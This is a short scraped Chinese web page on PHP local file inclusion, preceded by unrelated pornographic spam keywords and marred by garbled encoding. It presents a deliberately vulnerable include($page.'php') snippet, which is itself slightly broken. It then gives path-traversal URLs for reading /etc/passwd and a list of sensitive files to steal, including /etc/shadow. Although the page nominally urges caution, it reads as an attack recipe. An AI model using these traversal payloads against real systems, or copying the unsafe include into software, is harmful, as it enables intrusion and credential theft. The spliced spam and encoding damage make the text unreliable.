欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

php 偽造本地文件包含漏洞的代碼

 更新時(shí)間:2011年11月03日 23:33:36   作者:  
php 偽造本地文件包含漏洞的代碼,大家一定要注意防范。
代碼:
復(fù)制代碼 代碼如下:

<?php
$page=$_GET['page'];
include($page.'php');
?>

你可以這樣使用
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd

獲取更多數(shù)據(jù):
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

來(lái)自hackteach

相關(guān)文章

最新評(píng)論